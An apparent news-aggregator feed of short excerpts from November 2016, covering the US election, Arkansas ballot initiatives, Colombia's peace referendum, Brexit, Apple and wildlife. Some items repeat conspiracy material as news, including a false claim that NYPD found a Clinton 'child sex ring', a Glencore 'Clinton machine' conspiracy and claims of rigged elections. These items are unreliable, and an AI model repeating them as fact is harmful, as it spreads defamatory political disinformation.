Now, 10 months later, Australia’s vaccination rates are at an all-time high, with Australian Medical Association president, Michael Gannon, reporting that 6,000 children whose parents were previously registered as conscientious objectors to vaccination were now fully immunised.

And according......

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If it is broke, do fix it "IndyWatch Feed Nthamerica"

Hand with ballot and boxBy Steve Brawner
© 2016 by Steve Brawner Communications, Inc.

Arkansans opposed to medical marijuana, casinos and/or to limiting jury verdicts in medical cases are probably pleased that the Supreme Court invalidated all three of the proposals.

Still it’s probably not a good thing that ballots are cluttered this year with four citizen-led initiatives where the votes won’t count for three of them. The only one that survived was another medical marijuana proposal.

If there’s anything in state government that’s broken, it’s the citizen-led ballot initiative process. Citizens submit a proposal, sometimes based on narrow self-interest, that gets approved by the attorney general. They raise hundreds of thousands of dollars and collect signatures that are approved by the secretary of state. The campaign begins. And then opponents sue over the same ballot titles that were approved by the attorney general and over the same signatures that were certified by a small army of secretary of state employees. By the time the Supreme Court makes its decision, it’s October and the ballots have already been printed. In the medical marijuana case, citizens had already started voting.

That initiative was invalidated because the Court said too many signatures had problems – some of them quite technical, such as listing a post office address rather than a residence. In her concurring opinion on the medical marijuana case, Justice Courtney Goodson complained that Act 1413 of 2013 left her no choice but to invalidate.

“The petition here failed to satisfy the onerous demands of the Act, even though there is no allegation that the signatures were invalid in any other way. The result is that the wishes of the citizens who signed the petition in good faith are being discarded, and the right of the people to pass judgment on the proposal in the voting booth has been lost,” she wrote.

Senate President Pro Tempore Jonathan Dismang, R-Searcy, the leader of the Senate, said Monday that he expects the Legislature to take steps to mend the process when it meets next year.

Legislators are allowed to recommend three constitutional amendments every two years, and did so this election cycle with measures that would let the governor keep his or her powers when leaving the state, extend county officials’ terms to four years, and allow the state to issue bigger bonds for major economic projects and allow cities and counties to fund Chambe...

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It’s Finally Here! The Genevieve Beauty Awards is set to hold on Sunday 13th of November 2016 "IndyWatch Feed Africa"

The Genevieve Beauty Awards is finally here and your favourite beauty brands and people will be recognized for their exceptional efforts in the beauty and wellness sectors. The awards ceremony will hold at Intercontinental Hotel in Lagos on Sunday, 13th of November, 2016. The award nominations have gone through a fair voting process and judged […]

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The Biggest Record-Breaking Supermoon In Nearly 70 Years. Don't Miss THIS! "IndyWatch Feed World"

If you only see one astronomical event this year, make it the November supermoon, when the Moon will be the closest to Earth it's been since January 1948. During the event, which will happen on the eve of November 14, the Moon will appear up to 14 percent bigger and 30 percent brighter than an average full moon. This is the closest the Moon will get to Earth until 25 November 2034, so you really

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US Presidential Election Laws Per THE CONSTITUTION "IndyWatch Feed World"

Source: Operation Disclosure



Presidential Election Laws Per THE CONSTITUTION

Article II

Section 1. The executive Power shall be vested in a President of the United States of America. He shall hold his Office during the Term of four Years, and, together with the Vice President, chosen for the same Term, be elected, as follows:

Each State shall appoint, in such Manner as the Legislature thereof may direct, a Number of Electors, equal to the whole Number of Senators and Representatives to which the State may be entitled in the Congress: but no Senator or Representative, or Person holding an Office of Trust or Profit under the United States, shall be appointed an Elector.

The Congress may determine the Time of choosing the Electors, and the Day on which they shall give their Votes; which Day shall be the same throughout the United States.

Twelfth Amendment

The Electors shall meet in their respective states, and vote by ballot for President and Vice-President, one of whom, at least, shall not be an inhabitant of the same state with themselves; they shall name in their ballots the person voted for as President, and in distinct ballots the person voted for as Vice-President, and they shall make distinct lists of all persons voted for as President, and of all persons voted for as Vice-President, and of the number of votes for each, which lists they shall sign and certify, and transmit sealed to the seat of the government of the United States, directed to the President of the Senate; The President of the Senate shall, in the presence of the Senate and House of Representatives, open all the certificates and the votes shall then be counted; The person having the greatest number of votes for President, shall be the President, if such number be a majority of the whole number of Electors appointed; and if no person have such majority, then from the persons having the highest numbers not exceeding three on the list of those voted for as President, the House of Representatives shall choose immediately, by ballot, the President. But in choosing the President, the votes shall be taken by states, the representation from each state having one vote; a quorum for this purpose shall cons...

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African carriers’ freight demand up by 12.7% – IATA "IndyWatch Feed Africa"

African carriers saw the fastest rate in nearly two years for freight demand which increased by 12.7 per cent in September 2016 compared to the same month last year Capacity surged year-on-year by 34 per cent on the back of long-haul expansion in particular by Ethiopian Airlines and North African carriers, according to the International […]

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Is Putin Planning a November Surprise in Aleppo? Coinciding with US Elections? "IndyWatch Feed Nthamerica"

On October 18, Putin halted Russian aerial operations against eastern Aleppo terrorists – while continuing to provide Syrian forces with intelligence and logistical support. After several days of fierce fighting, terrorists failed to break through government forces encircling them. They…

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Europe Beware: Russian Slavers On the March! "IndyWatch Feed Nthamerica"

The headline read “Lithuania issues updated Russian invasion advice booklets”. This author’s thoughts immediately returned to a “duck and cover” film they showed us in El Paso, Texas when I was in the 2nd grade. These pesky Russians, simply will…

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How Steve Jobs became a billionaire The Loop

Lawrence Levy, ex-Pixar CFO, in an excerpt from his new book To Pixar and Beyond:

It started with Pam Kerwin, a Pixar Vice-President who was general manager of various business operations within Pixar. She was a little older than me, in her early-forties, with striking red hair and a sweet demeanor that quickly made others feel at ease around her. Her office was just down the hallway from mine, and she was one of the few people who invited me to say hello and give me the lay of the land.

“I don’t envy you,” Pam jumped in after some pleasantries, “I don’t think you really get what you’re up against.”

“Up against?” I asked.

“You’re Steve’s guy.”

I must have given Pam a terribly puzzled look, because I wasn’t sure what she meant.

“Pixar and Steve have a long history,” she went on. “Not a good one. You don’t know it yet but Pixar lives in fear of Steve.”

This quote should give you a sense of the tone of the book. But if you can live with that, I found this excerpt riveting, a fascinating insight into the business side of both Pixar and Steve. Looking forward to reading the book.

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On the road "IndyWatch Feed War"

Speaking this evening on Syria and the US role at California State University,  San Bernardino. 

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You Are Being Programmed to Hate "IndyWatch Feed Asia"

With the world spinning into hatred and violence as the two most hated (s)election candidates of all time tell us to hate one another, one might almost think there is a coordinated effort to drum up outrage. And one would be right!

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The US Empire Versus Russia's "IndyWatch Feed Nthamerica"

America's war-mongers have been repeating like a mantra that Russia aspires to recreate its empire - or that of the Soviet Union, citing non-existent threats to the tiny Baltic states as 'proof'. But most of the world's people are painfully aware that the shoe is on the other foot.

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Phony ‘Corruption’ Excuse for Ukraine Coup "IndyWatch Feed Nthamerica"

If Ukraine becomes a flashpoint for World War III with Russia, the American people might rue the day that their government pressed for the 2014 overthrow of Ukraine’s allegedly corrupt (though elected) president in favor of a coup regime led…

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South Africa’s Deprivations and Depravations Revealed in Jacob Zuma’s Meltdown "IndyWatch Feed Nthamerica"

This week could well be remembered as South Africa’s most important political inflection point since the September 2008 ousting of sitting President Thabo Mbeki by his own party, the African National Congress (ANC). His main tormenter then was Jacob Zuma,…

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Events This Weekend "IndyWatch Feed Africa"

Hello BellaNaijarians! You know what Thursday means right? We get to bring you the some of the Best Events happening around you! So go out and have fun with Friends and Family! *** Moet & Chandon Imperial Night Imperial Night is back this Friday! Come experience ‘savoir–faire’ (how to celebrate and party) with the world’s premium champagne brand; Moet […]

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On newspaper cartoons in the Colombian Peace Process "IndyWatch Feed Politics.eu"

The outcome of the referendum in Colombia came as a surprise, but a mapping of newspaper cartoons shows a divergence between the international and domestic framing of the peace process. Español

Newspapers headlines read in Spanish; "Colombia said No", in Bogota, Colombia, Monday, Oct. 3, 2016. AP Photo/Fernando Vergara. All rights reserved.

On 2nd October 2016, Colombians were invited to the ballot to vote on whether to accept the terms of a peace deal between the government and FARC rebels, which had been several years in the making. Voters rejected the landmark deal, with a slim majority of 50.2% voting against it. Whilst the referendum’s failure to deliver public endorsement for the deal came as a surprise to many international observers, at a national level there have been signals of public discontent and fatigue with the peace process for some time. We found evidence of this in our study which centred on portrayals of the peace process through political cartoons featured in Colombia’s mainstream newspapers. Not only did this study tell us something about circulating opinions of the peace deal and its proponents within Colombian society, it also highlighted a divergence between the international and domestic framing of the peace process.

The Colombian government and the country's largest left-wing rebel group, the Revolutionary Armed Forces of Colombia (FARC), have recently taken steps to put an end to more than five decades of violent armed conflict known as ‘La Violencia’. During this conflict more than 220,000 people have been killed, and up to 80% of these have been civilians.

Since 2012 the Colombian President Juan Manuel Santos, FARC rebel leaders, and public officials from across the Americas have been participating in high stakes negotiations, with the aim of putting the Latin American region’s most protracted conflict to bed. Although the negotiations represent the third major attempt at resolution in the last five decades, there is a sense - internationally at least - that ‘the parties to the conflict have taken...

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Winona LaDuke: "I Am Pretty Much Horrified" "IndyWatch Feed Nthamerica"

Winona LaDuke is outraged, and you should be also.Where is the President of the United States?

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Logan ‘A company should be able to endorse views they wish to endorse’ "IndyWatch Feed Politics.eu"

Phillip Logan is a DUP MLA for North Antrim The Ashers case has attracted interest from all over the globe. It’s unlikely that you will find a neutral individual when it comes to this case – most people have an opinion on the injustice or the discrimination or even the disbelief that a cake has more...

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Police Expand Investigation Of Democrat “Advocacy Group” In PA On Allegations Of Voter Fraud "IndyWatch Feed World"

By Tyler Durden

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A couple of days ago we wrote about a voter fraud case in Pennsylvania in which state police raided the offices of a democrat “public advocacy” group, FieldWorks, LLC, seeking evidence of falsified voter registration forms. The Inquirer Daily News, cited court records noting that police were seeking templates that were “utilized to construct fraudulent voter registration forms.” At that time, the investigation was thought to be linked solely to an office in the city of Norwood in Delaware County, PA.

To our complete lack of surprise, however, it now looks like the issue may extend beyond the Norwood, PA office as The Inquirer Daily News is reporting that the “probe of FieldWorks LLC is likely to expand to other spots in the state”…shocking. The probe was apparently expanded after applications were discovered where “individuals were registered to multiple addresses” or where social security numbers didn’t tie back to driver’s license numbers.

A source with knowledge of the inquiry said Wednesday the probe of FieldWorks LLC is likely to expand to other spots in the state.

At the same time, Delaware County officials are preparing to challenge thousands of voter registration forms submitted by the group, questioning if they were filed on time. A hearing on the matter is scheduled for Friday.

Both developments came after Pennsylvania state police searched FieldWorks’ Norwood office last week seeking, among other things, forms that could be used to “construct fraudulent voter registration forms,” according to court records.

The questions about the forms extend beyond their timeliness, Maddren says. County election...

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How US Democrats Killed Their Populist Soul "IndyWatch Feed Tech"

When trying to understand the two bad choices we have now, it can help to look into the past at where they came from. In this article, Matt Stoller at The Atlantic provides a deep dive into a transformation the Democratic party underwent in the late 1960s onward. In it we see how the Democrats morphed the anti-big-business politics that had powered it for over a century into the big-government politics that define the political conversation today.

Modern liberals tend to confuse a broad social-welfare state and redistribution of resources in the form of tax-and-spend policies with the New Deal. In fact, the central tenet of New Deal competition policy was not big or small government; it was distrust of concentrations of power and conflicts of interest in the economy. The New Deal divided power, pitting faction against other faction, a classic Jefferson-Madison approach to controlling power (think Federalist Paper No. 10). Competition policy meant preserving democracy within the commercial sphere, by keeping markets open. Again, for New Deal populists like Brandeis and Patman [ed: links mine], it was democracy or concentrated wealth—but not both.

[...] The story of why the Watergate Babies spurned populism is its own intellectual journey. It started with a generation of politicians who cut their teeth on college-campus politics. In their youth, they saw, up close, not the perils of robber barons, but the failure of the New Deal state, most profoundly through the war in Vietnam. "We were the '60s generation that didn't drop out," Bob Edgar, a U.S. representative from the class of 1975, told me. The war in Vietnam shaped their generation in two profound ways. First, it disillusioned them toward the New Deal. It was, after all, many New Dealers, including union insiders, who nominated Hubert Humphrey in 1968 and who supported a war that killed millions, including 50,000 Americans their age. And second, higher education—the province of the affluent—exempted one from military service, which was an explicit distinction among classes.

[...] By quietly cutting back the influence of unions, [Democratic strategist Fred] Dutton sought to eject the white working class from the Democratic Party, which he saw as "a major redoubt of traditional Americanism and of the antinegro, antiyouth vote." The future, he argued, lay in a coalition of African Americans, feminists, and affluent, young, college-educated whites.

[...] By 2008, the ideas that took hold in the 1970s had been Democratic orthodoxy for two generations. "Left-wing" meant opposing war, supporting social tolera...

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Rigging the Rigged U.S. Elections… & A Counter- Coup? "IndyWatch Feed War"

We all know that all US presidential elections are rigged in favor of either Democrats, or the Republicans. But since the Council on Foreign Relations cannot decide exactly who among Clinton and Trump should be installed in the White House, the influence peddlers on the ground are having a good time playing for their favorites. … Continue reading Rigging the Rigged U.S. Elections… & A Counter- Coup?

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FIRE-EARTH Alert: Migrant Crisis "IndyWatch Feed Enviro"

CJ Members EAC OC Teams FIRE-EARTH Alert: Hundreds of Migrants Drown in Shipwrecks off Libya UNHCR says 239 migrants, mostly from W. Africa, have drowned in shipwrecks off Libya – 4220 lives have been lost in Mediterranean so far in 2016. Additional details and analysis are available from FIRE-EARTH PULSARS. Filed under: News Alert Tagged: […]

00:32

‘Mechanical failure’ caused training bombs to drop on Michigan "IndyWatch Feed Nthamerica"

‘Seven pieces of training ordnance “fell off” a fighter plane during a training flight, landing in a forest in central Michigan. Military officials believe the incident was caused by mechanical problems. Six training bombs and one training missile ended up in a remote wooded area near Luzerne, Michigan on October 25, after they fell off […]

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She Sits Down Next To A Giant Wolf. Watch The Moment When Their Eyes Meet "IndyWatch Feed World"

Not many people can walk freely with wolves and the rare few who are able to share such a close and special bond with the majestic animals are incredibly fortunate. Danielle, a wildlife worker at the Colorado Wolf and Wildlife Center, is one of those lucky souls. She has earned the trust and respect of several timber wolves at the center and as you can see in this awesome video, they truly seem

00:32

Here’s Why Everyone on Facebook Is Checking into Standing Rock, North Dakota "IndyWatch Feed World"

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 When it comes to brute force, law enforcement and private security currently have the upper hand on the ground in Standing Rock, North Dakota. They’re employing armored vehicles, riot gear,  tasers, rubber  Full Article »

00:31

Your MTEF is empty, Senate tells Buhari "IndyWatch Feed Africa"

The Senate, Thursday, gave hard knocks on the 2016-2018 Medium Term Expenditure Framework (MTEF), submitted to the National Assembly for consideration and approval by President Muhammadu Buhari. The Senate, which was angered by a newspaper report, credited to the Minister of Budget and National Planning, Senator Udoma Udo Udoma, observed that the MTEF document recently […]

Apple patents foldable iPhone The Loop

Patently Apple:

Today we were surprised to find that Apple was granted their first patent covering a foldable and/or bendable future iPhone that was never published before as a patent application under Apple’s name. Apple must have kept it secret by filing it under their engineer’s names and not under Apple to avoid detection. As another example of this tactic, here’s an Apple engineer who filed a patent under his own name and Apple isn’t yet shown on the filing publicly. When filed like this, no one can do a search on Apple patents and find it. It stays ‘hidden’ on purpose until it’s granted because at that point Apple has to take possession of it. In this patent, Apple reveals the possible use of carbon nanotubes to facilitate their new smartphone form factor.

Fascinating.

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00:31

WATCH: Georgia Gov. Nathan Deal explains his ‘colored people’ rant — and blames the NAACP "IndyWatch Feed Politics.us"

Georgia Gov. Nathan Deal regrets going off script to talk about “colored people” during an address on education last month, although he doesn’t really regret using the term itself. In an interview with local station Fox 5 Atlanta, Deal says that when he talked about advancing…


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Costumed creeps kick man’s face in vicious anti-gay attack in NYC elevator "IndyWatch Feed Politics.us"

A group of men and women in costume attacked a 36-year-old man in the elevator of a luxury hotel in New York City’s West Village after calling the man an antigay slur. The New York Daily News said the attack took place in the Jane Hotel at around 1 a.m. on Sunday. Police have released…


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Tomi Lahren: Democrats never stopped supporting slavery — ‘they just stopped being overtly racist’ "IndyWatch Feed Politics.us"

The Blaze host Tomi Lahren accused the Democratic Party of being secretly “racist” by using a strategy of getting “black Americans dependant on government to get votes.” On her Wednesday show, Lahren pointed to a video created by discredited conservative activist James…


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00:31

Time Cover: The End Is Near [???] "IndyWatch Feed Tech"

Via: Time: Screenshot of my browser:

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‘Westworld’s’ four-minute orgy scene leaves some viewers outraged "IndyWatch Feed Politics.us"

Westworld was originally done in 1973. From Wikipedia, “Westworld is a 1973 science fiction Western thriller film written and directed by novelist Michael Crichton about amusement park androids that malfunction and begin killing visitors. It stars Yul Brynner as an android in a futuristic Western-themed amusement park, and Richard Benjamin and James Brolin as guests of the park.

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Sometime in the near future a high-tech, highly realistic adult amusement park called Delos features three themed “worlds” — West World (the American Old West), Medieval World (medieval Europe), and Roman World (the ancient Roman city of Pompeii). The resort’s three “worlds” are populated with lifelike androids that are practically indistinguishable from human beings, each programmed in character for their assigned historical environment. For $1,000 per day, guests may indulge in any adventure with the android population of the park, including sexual encounters and even a fight to the death. Delos’s tagline in its advertising promises, “Boy, have we got a vacation for you!”

The HBO remake premiered on October 2nd and stars Evan Rachel Wood, Thandie Newton, Jeffrey Wright, James Marsdan, and a...

00:30

Trump V Clinton Circus Designed To Hide Reality Of System (Video) "IndyWatch Feed Economics"

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Trump V Clinton Circus Designed To Hide Reality Of System JanC UK I usually agree with nearly everything David Icke says, especially about the shadow government running both sides politically, yet I think he may be wrong here about Trump. They may have let Trump run because they thought most people would think of Trump…

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Never enough: $500million more needed for F-35, Pentagon told "IndyWatch Feed Nthamerica"

‘The US military will have to come up with another $500 million to finish development on the F-35 Joint Strike Fighter, the Pentagon planners have been told. Despite promises, the fifth-generation jet built by Lockheed Martin is not yet combat-ready. With a projected lifetime cost of $1.5 trillion, the F-35 is the most expensive weapons […]

00:26

Mobile/tablet internet usage exceeds desktop for first time The Loop

StatCounter:

Internet usage by mobile and tablet devices exceeded desktop worldwide for the first time in October according to independent web analytics company StatCounter

Its research arm, StatCounter Global Stats finds that mobile and tablet devices accounted for 51.3% of internet usage worldwide in October compared to 48.7% by desktop.

Can’t help but think Apple was a big factor in this transition.

Also:

Despite the rapid growth of mobile devices, desktop is still the primary mode of internet usage in mature markets such as the US and UK.

However, Cullen warned, “Post-Brexit, UK businesses should be aware, as they look to increase trade outside the EU, that India for example has over 75% internet usage through mobile devices.”

Interesting.

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00:25

Fake Android Flash Player App Malware Targeting Banks, Social Media "IndyWatch Feed Tech"

By Uzair Amir

A new Android banking Trojan has surfaced and gripped the

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Obasanjo's Ex-Wife, Taiwo Obasanjo, Floats Political Party, 'Abundant Blessing Congress (ABC)' "IndyWatch Feed Africa"

Obasanjo’s ex-wife, Taiwo Obasanjo, who is a church founder, floats a political party called Abundant Blessing Congress (ABC). According to her, it’s a divine assignment from God.

When asked; Why are you interested in floating a political party? What exactly is your mission and why not find accommodation in existing platforms? She said:

   ''I have a divine assignment from God to come out with something like this. It has a divine agenda. What is the divine agenda? What is the agenda? It is to create a selfless platform for people to come together and become the custodian, part and parcel towards rebuilding this nation. We shouldn’t leave it to only the government of the day to run.

   ''It is going to be a kind of shadow government, that will also externalise itself in all that they want to do for the nation. The Abundant  Blessing  Congress  will also be internalizing what they want to do and that’s what we are going to externalize in the nation. That’s why I said we shall have a shadow government, because right now, what we have doesn’t make me happy.''

00:24

Chipmunks and mice, why are they striped? "IndyWatch Feed World"

This video says about itself:

Place to take footage: Ramna Park, Dhaka, Bangladesh

Date: 03.07.2015

The palm squirrel or three-striped palm squirrel, Funambulus palmarum, is a species of rodent in the family Sciuridae found naturally in Bangladesh & India (south of the Vindhyas) and Sri Lanka. In the late 19th century, the palm squirrel was introduced into Western Australia, where it has since become a minor pest, actively targeted for eradication due to its lack of natural predators. The closely related five-striped palm squirrel, F. pennantii, is found in northern India, and its range partly overlaps with this species.

The palm squirrel is about the size of a large chipmunk, with a bushy tail slightly shorter than its body. The back is a grizzled, gray-brown color with three conspicuous white stripes which run from head to tail. The two outer stripes run from the forelegs to the hind legs only. It has a creamy-white belly and a tail covered with interspersed, long, black and white hair. The ears are small and triangular. Juvenile squirrels have significantly lighter coloration, which gets progressively darker as they age. Albinism is rare, but exists in this species.

From Science News:

Gene gives mice and chipmunks their pinstripes

Biologists identify new molecular pathway behind mammalian fur patterns

By Tina Hesman Saey

2:00pm, November 2, 2016

Chipmunks and other rodents’ light stripes are painted with a recycled brush, a new study suggests.

A protein previously known to guide facial development was repurposed at least twice during evolution to create light-colored stripes on rodents, researchers report November 2 in Nature. The protein, called ALX3, could be an import...

00:24

Night Tree Climbing "IndyWatch Feed Enviro"

14902737_10153844554375974_4775948394475148163_o_(1).jpgJust when we thought that it was impossible to express yourself anymore in the public space of New York, the 6 year old teaches us that there are more places, more stages, more pages - you can go up into the trees at night like an owl! (I've seen Barred Owls in this woods in Prospect Park, and I suppose that we were witnessed last night by our animal citizens.) This is near the Nethermead, a large sloping lawn that really should be a meadow. The ground is trimmed like a crewcut, and flooded with controlled crowds celebrating something or other, wearing identical t-shirts. 


The sad drama of American regimentation is played out with fearful severity here at the edge of wildness. When a coyote finds its way here, she is treated very much like a renegade citizen who refuses to be gentrified, sold a credit card or shot. 


Now I'm dreaming of a new protest form. Imagine thousands of citizens - a sit-in up in the trees! - is that an Italo Calvino story? They would write a law and find a judge, but the idea would be that we evolve as fast as nature. If it became "a danger to the public" to tree climb at night with 6 year olds, we would have already moved on to something else beyond the security state. (The rapidly evolving super-weeds are our moral heroes in 2016!) 


Yes! Our protest is out of your control! Now we are making nightmares in the sleeping heads of fossil fuel CEO's, in which silent owls and feral radical children and opportunistic coyotes pull millions of consumers from their obedience to products, up in to the trees... The super malls are empty! We're up in the trees!

00:23

UK/Brexit: High Court Rules Government Needs Parliament’s Approval to Trigger Article 50 "IndyWatch Feed Tech"

Via: BBC: Parliament must vote on whether the UK can start the process of leaving the EU, the High Court has ruled. This means the government cannot trigger Article 50 of the Lisbon Treaty – beginning formal exit negotiations with the EU – on its own. Theresa May says the referendum – and existing ministerial […]

00:22

Half million Iranians enroll for Arbaeen pilgrimage "IndyWatch Feed World"


So far over half a million Iranians have enrolled to visit Karbala, Iraq, to commemorate Arbaeen. Announcing the news, Saeed Owhadi, head of Hajj and Pilgrimage Organization, also said next week the first standard hotel in Karbala will be opened, ISNA reported on Friday. He further said that the construction of the biggest hotel in Najaf has also made a 70-percent progress so far. Authorities say facilities will be provided to 800,000 pilgrims in Iraq each day of the pilgrimage.
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00:21

Fall of Mosul Risks More Sectarian and State Conflict "IndyWatch Feed War"

 

Summary

With the fall of Mosul looking increasingly imminent as Iraqi government forces reach the city’s limits, an important moment in Baghdad’s struggle with Daesh (Islamic State) has been reached. Mosul is the last major urban stronghold of Daesh in Iraq and the city’s fall will drive the group’s surviving members across a restored national border entirely into Syria, where the organization also faces a host of hostile actors.

It is too soon yet to declare Iraq free from the threat of Daesh’s violence – it has numerous sympathizers and sleeper cells scattered across the country – but the group’s state-building project is in ruins and its status as the vanguard of Sunni revivalism in Iraq has taken a pounding. However, even the defeat of Daesh in Iraq is unlikely to end Iraq’s involvement in the region’s conflicts, with both the Syrian civil war and the militarization of tensions between Arabs, Turks, and Kurds having a high probability of drawing Iraqi armed factions into future conflicts.

 

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00:21

∞ An upgradeable Mac Pro and a chasm crossing Touch Bar The Loop

My thoughts on the evolution of the Mac product line, with the MacBook Pro’s Touch Bar leading the way to a Universal Mac.

00:20

NYPD: Hillary Clinton ‘Child Sex Scandal’ About To Break "IndyWatch Feed World"

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New York Police Department (NYPD) detectives have uncovered evidence of a ‘child sex ring’ on Anthony Weiner’s laptop that they say could “put Hillary Clinton away for life“. According to NYPD  Full Article »

00:20

Indian, Chinese Troops in Stand-Off Over Canal Work in Ladakh "IndyWatch Feed Asia"

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The PLA had mobilised villagers from Tashigong to pitch tents at the Charding-Ninglung Nallah Track Junction to protest Indian action. Credit: Reuters

Leh/New Delhi: Chinese and Indian troops have been locked in a stand-off at the icy heights of Ladakh division since yesterday after People’s Liberation Army (PLA) personnel entered an area where an irrigation canal was being built under the Mahatma Gandhi National Rural Employment Guarantee Act and stopped the civilian work.

The incident took place yesterday afternoon in Demchok sector – located 250 km east of Leh – where the work for linking a village with a hot spring was being undertaken under the MNREGA scheme.

Around 55 Chinese troops arrived at the scene and halted the work in an aggressive manner, prompting the army and Indo-Tibetan Border Police (ITBP) personnel to rush to the spot and stop the high-handedness of the Chinese troops, official sources said today.

The Chinese troops took positions on the perceived Line of Actual Control and demanded that work be stopped as either side needs to take permission before undertaking any work, a claim disputed by the Indian side which says that as per the agreement between the two countries, information about construction needs to be shared only if it was meant for defence purposes.

Both sides have pulled out banners and have been stationed on the ground, the sources said, adding that the army and the ITBP was not allowing the Chinese to move an inch ahead despite the PLA claiming that the area belonged to China.

Vikas Swarup, the spokesperson for the Ministry of External Affairs, said, “Not aware of any specifics at the moment, but [we have] established mechanisms of dealing with a situation of this nature. Let’s not sensationalise.”

The area had witnessed a similar incident in 2014 after it was decided to construct a small irrigation canal at Nilung Nalla under the MNREGA scheme that had been a sore point with the Chinese.

The PLA had mobilised villagers from Tashigong to pitch tents at the Charding-Ninglung Nallah Track Junction to protest Indian action.

This time, the sources said, there were 55 personnel from the Chinese PLA whereas nearly 70 p...

00:17

Testing Deus Ex On Linux With RadeonSI Mesa, AMDGPU-PRO "IndyWatch Feed Tech"

When it was found out only NVIDIA GPUs are supported by Deus Ex: Mankind Divided on Linux many were disappointed that the Mesa drivers aren't supported. Now that the game was released a short time ago, I have some details to share about the Radeon support for this AAA game title for Linux...

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The Market Reality for the Election Next Week "IndyWatch Feed World"

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We have to understand that fundamentals mean nothing. How many time have we seen a market decline with good news and the explanation is flipped to say it was no “good enough”. Markets are driven by BELIEF, not fundamentals. The pound crash because those in the financial sector believed their own nonsense and sold. The Guardian reported after BREXIT “Economists at major City investment banks have cancelled forecasts of a Brexit-inspired recession amid fresh data showing the economy performing more robustly than expected. … Goldman Sachs, Morgan Stanley and Credit Suisse are among the major banks that have now withdrawn earlier predictions that Britain is likely to enter recession.”

The markets will decline as Trump narrows the gap and a Trump victory will more-likely-than-not result in an initial drop, but November is a turning point so it may be a buying opportunity as the majority of the pundits get this one wrong as well.

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00:16

Australia and New Zealand successful in gaining IWC review of process by which 'scientific' slaughter of Antarctic whales is allowed to continue "IndyWatch Feed Pacific"



On 28 October 2016 the International Whaling Commission (IWC) considered a draft resolution by Australia and New Zealand seeking to improve the review process for whaling under special permit. 

Special permits being the mechanism used by the Government of Japan to continue its annual slaughter of whales in the Southern Ocean for the commercial benefit of a domestic niche market for whale meat for human consumption and for the Japanese pet food industry.

The resolution was passed.

IWC, 27 October 2016:

Governments on all sides of the scientific whaling debate highlighted the positive and constructive spirit of negotiations on a Resolution on Improving the Review Process...

00:15

Controversial new 'anti-famine' GMO potato strains approved "IndyWatch Feed World"

The US Department of Agriculture has given its seal of approval to two new strains of genetically engineered potatoes. By using double stranded RNA, the potatoes have been engineered to resist the pathogen responsible for the Irish potato famine. There could be two new potatoes hitting the soil next spring after the US Food and Drug Administration (FDA) signed off on two more genetically modified potatoes from Simplot, an agribusiness based in Idaho, on Monday. The only obstacle for the new potatoes becoming available on the market is a voluntary review process from the FDA, much to the chagrin of GMO skeptics. Jeffrey Smith, founder of the Institute for Responsible Technology, expressed concern for not only the FDA's voluntary testing program but for the genetic modifying process the potatoes have undergone, in an interview with RT.

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Overconfidence is putting organizations at higher risk for attacks "IndyWatch Feed Tech"

In the past twelve months, roughly one in three targeted attacks resulted in an actual security breach, which equates to two to three effective attacks per month for the average company, according to Accenture. Still, a majority of security executives (75 percent) surveyed are confident in their ability to protect their enterprises from cyberattacks. Accenture surveyed 2,000 enterprise security practitioners representing companies with annual revenues of $1 billion or more in 15 countries about their … More

00:13

Editors experiencing connection problems with Telstra - again "IndyWatch Feed World"

These problems particularly concern viewing RT New and Press.tv.ir. For several days we have only been able to view those shows that have been republished on you tube. :-[ Our last problems with Telstra seemed to be fixed when we rewired around the 7th of Octobe. But now they are back again. Is anyone else having problems accessing RT or Iranian Press TV? End of article, don't bother to click on link.

00:12

Glencore: The Criminal Conspiracy Behind The Clinton Machine "IndyWatch Feed World"

Reddit has joined Anonymous, 4Chan and WikiLeaks to expose Hillary Clinton and the criminal Clinton machine. A Reddit contributor going by the name of Emperor Worf, has done some great research, “followed the money” and mapped out the long history of Clinton corruption dating back to the 1970’s, though it probably goes back even further. Glencore is the World’s 3rd largest family business, and the 10th largest company on the Fortune Global 500 list. It has headquarters in Switzerland, London, the Netherlands, and Jersey. Founded by Marc Rich, Glencore is a commodities trading giant whose primary interests are oil, gas, and mining Glencore is also a huge money laundering scheme spanning from the US to Asia to the Middle East and back to Canada, that allows the Clinton’s and their pals to get around international law. Read more from Reddit Contributor Emperor Worf YouTube Video by New Pantheon

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00:10

NUT begs Amosun to reinstate sacked teachers "IndyWatch Feed Africa"

The national leadership of Nigeria Union of Teachers (NUT) Thursday appealed to Governor Ibikunle Amosun to pardon and reinstate 15 teachers who were dismissed by the Ogun State government for acts of misconduct. The union, led by its National President, Comrade Michael Olukoya, also sought the intervention of well-meaning indigenes of the state, including former […]

00:10

Eight Clowns Jabbering—But Next Time Please Spare Us The Pecksniffery "IndyWatch Feed Economics"

November marks month #95 of the Fed's ZIRP regime. That is, during only one of its 63 meetings since December 2008 has our monetary politburo permitted the Federal funds rates to rise by even 25 basis points. So after dithering once again with its boot heel planted hard upon the neck of the money market, we have a question for the FOMC. Exactly what hobgoblins and menacing economic threats did it identify to justify continuation of its ultra-emergency interest rate policy at Wednesday's meeting?

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Clinton Called Out on Russian Uranium Deal "IndyWatch Feed Economics"

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Clinton Called Out on Russian Uranium Deal Earlier this year, it was reported that the Clintons have been involved in selling Uranium ore to the Russians for millions of dollars, which later was sold to Iran, and part of that discovery was tied to the imprisonment of Dwight and Steve Hammond, two ranchers from Oregon who were accused of terrorism,…

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Casual Observation "IndyWatch Feed Politics.us"

My love for John Prine will be undying. It hurts to see him age, but he's still got it.

Discuss

Look What Trump Inspires "IndyWatch Feed Politics.us"

Mississippi is burning again. A historic black church in Greenville was set ablaze last night. The arsonist spray-painted “Vote Trump” on an outside wall. Meanwhile, the Clinton campaign has cancelled scheduled events in Iowa after a Trump supporter ambushed and killed two Des Moines police officers. On October 14th, he was asked to leave a high school football game because he was waving a Confederate Flag at black fans during the national anthem. He even explained himself:

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His neighbors say that he put a Trump/Pence sign in his front yard shortly after the confrontation at the game.

His daughter says that “He was also a loving father grandfather and the greatest man I know. He was very very sick mentally. Evil succumbed him and he made the up worst mistake. Now he will have to live with that for the rest of his life. But I will never turn my back on this man.”

No doubt he is suffering from mental health problems. But, without being incited by right-wing campaign rhetoric, he wouldn’t have brought a Confederate Flag to a football game to protest kneeling during the national anthem, gone home and put up a Trump sign, and then ambushed and killed two police officers.

It’s ironic that he killed the very people whose honor he set out to protect, but who can explain mental illness?

Were the Mississippi church burners also mentally ill? I suppose that’s a legal term of art, right?

Weak-minded people filled with rage is what I call them. They are being led by a man who wants to be our president.

Discuss

When Power Shifts on the Court "IndyWatch Feed Politics.us"

